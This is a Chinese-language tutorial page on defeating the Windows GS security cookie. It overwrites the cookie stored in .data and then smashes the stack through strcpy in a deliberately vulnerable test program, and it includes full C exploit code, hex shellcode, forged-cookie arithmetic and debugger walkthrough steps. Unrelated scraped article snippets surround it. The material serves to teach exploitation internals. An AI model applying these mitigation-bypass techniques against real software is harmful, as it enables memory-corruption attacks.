<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
作業系統:Windows 2000 professional
軟體版本:原版OD(實時偵錯)、VS2008(release)
#include <stdafx.h> #include <string.h> #include <stdlib.h> /* char shellcode[]= "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"; */ char shellcode[]= "x90x90x90x90"//new value of cookie in .data "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C" "x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53" "x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B" "x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95" "xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59" "x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A" "xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75" "xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03" "x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB" "x53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50x50" "x53xFFx57xFCx53xFFx57xF8" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "xF4x6Fx82x90"//result of x90x90x90x90 xor EBP "x90x90x90x90" "x94xFEx12x00"//address of shellcode ; void test(char * str, int i, char * src) { char dest[200]; if(i<0x9995) { char * buf=str+i; *buf=*src; *(buf+1)=*(src+1); *(buf+2)=*(src+2); *(buf+3)=*(src+3); strcpy(dest,src); } } void main() { __asm int 3 char * str=(char *)malloc(0x10000); test(str,0xFFFF2FB8,shellcode); }
程式碼分析:
(1)test函數會修改s+i到s+i+3(記憶體地址)中儲存的資料;
(2)test函數中strcpy存在典型的溢位漏洞。
直接執行到if語句處;
產生:程式將0x403000處儲存的值,賦給EAX,將EAX與EBP互斥或,互斥或結果(security cookie)儲存在EAX中,然後將EAX中的值(也就是security cookie)儲存在EBP-4處。
驗證:程式從EBP-4處取出值,然後與EBP互斥或,最後將互斥或結果與0x00403000處的Cookie進行比較,如果二者一致則校驗通過,否則轉入校驗失敗哦的例外處理。
同時可以看到security cookie存放在0x12FF60處。
現在的重點是:
偵錯程式碼:
#include <stdafx.h> #include <string.h> #include <stdlib.h> char shellcode[]= "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"; void test(char * str, int i, char * src) { char dest[200]; if(i<0x9995) { char * buf=str+i; *buf=*src; *(buf+1)=*(src+1); *(buf+2)=*(src+2); *(buf+3)=*(src+3); strcpy(dest,src); } } void main() { __asm int 3 char * str=(char *)malloc(0x10000); test(str,0xFFFF2FB8,shellcode); }
編譯,執行完malloc函數:
可見malloc獲取的堆區的起始地址為0x410048。
如何判斷堆區在哪兒呢?
故,可以斷定,0x410048為申請的空間的起始地址,也就是str的值。
檢視.data在記憶體中的起始地址;
可見.data在記憶體中的起始地址為0x403000。
0x403000屬於低地址,0x410048屬於高地址,因為i並沒有規定上限,因此只需將i設定為0xFFFF2FB8即可讓str指向0x403000。
可見,.data中的原cookie已經被覆蓋。
可以在OD中看到粗線部分,起始就是strcpy函數。可見起始地址為0x12FE94.
計算security cookie時的EBP為0x12FF64,.data存放的原cookie改為x90x90x90x90,偽造的security cookie就是0x90826FF4.
security cookie應存放在0x12FF60,dest的起始地址為0x12FE94,所以shellcode可以這樣構造:
將構造好的shellcode複製到程式中,執行:
strcpy之後,可見security cookie和test函數的返回地址都被覆蓋了!
F9執行:
到此這篇關於C++替換棧中和.data中的cookie實現步驟詳解的文章就介紹到這了,更多相關C++替換棧中和.data中的cookie內容請搜尋it145.com以前的文章或繼續瀏覽下面的相關文章希望大家以後多多支援it145.com!
相關文章
<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
综合看Anker超能充系列的性价比很高,并且与不仅和iPhone12/苹果<em>Mac</em>Book很配,而且适合多设备充电需求的日常使用或差旅场景,不管是安卓还是Switch同样也能用得上它,希望这次分享能给准备购入充电器的小伙伴们有所
2021-06-01 09:31:42
除了L4WUDU与吴亦凡已经多次共事,成为了明面上的厂牌成员,吴亦凡还曾带领20XXCLUB全队参加2020年的一场音乐节,这也是20XXCLUB首次全员合照,王嗣尧Turbo、陈彦希Regi、<em>Mac</em> Ova Seas、林渝植等人全部出场。然而让
2021-06-01 09:31:34
目前应用IPFS的机构:1 谷歌<em>浏览器</em>支持IPFS分布式协议 2 万维网 (历史档案博物馆)数据库 3 火狐<em>浏览器</em>支持 IPFS分布式协议 4 EOS 等数字货币数据存储 5 美国国会图书馆,历史资料永久保存在 IPFS 6 加
2021-06-01 09:31:24
开拓者的车机是兼容苹果和<em>安卓</em>,虽然我不怎么用,但确实兼顾了我家人的很多需求:副驾的门板还配有解锁开关,有的时候老婆开车,下车的时候偶尔会忘记解锁,我在副驾驶可以自己开门:第二排设计很好,不仅配置了一个很大的
2021-06-01 09:30:48
不仅是<em>安卓</em>手机,苹果手机的降价力度也是前所未有了,iPhone12也“跳水价”了,发布价是6799元,如今已经跌至5308元,降价幅度超过1400元,最新定价确认了。iPhone12是苹果首款5G手机,同时也是全球首款5nm芯片的智能机,它
2021-06-01 09:30:45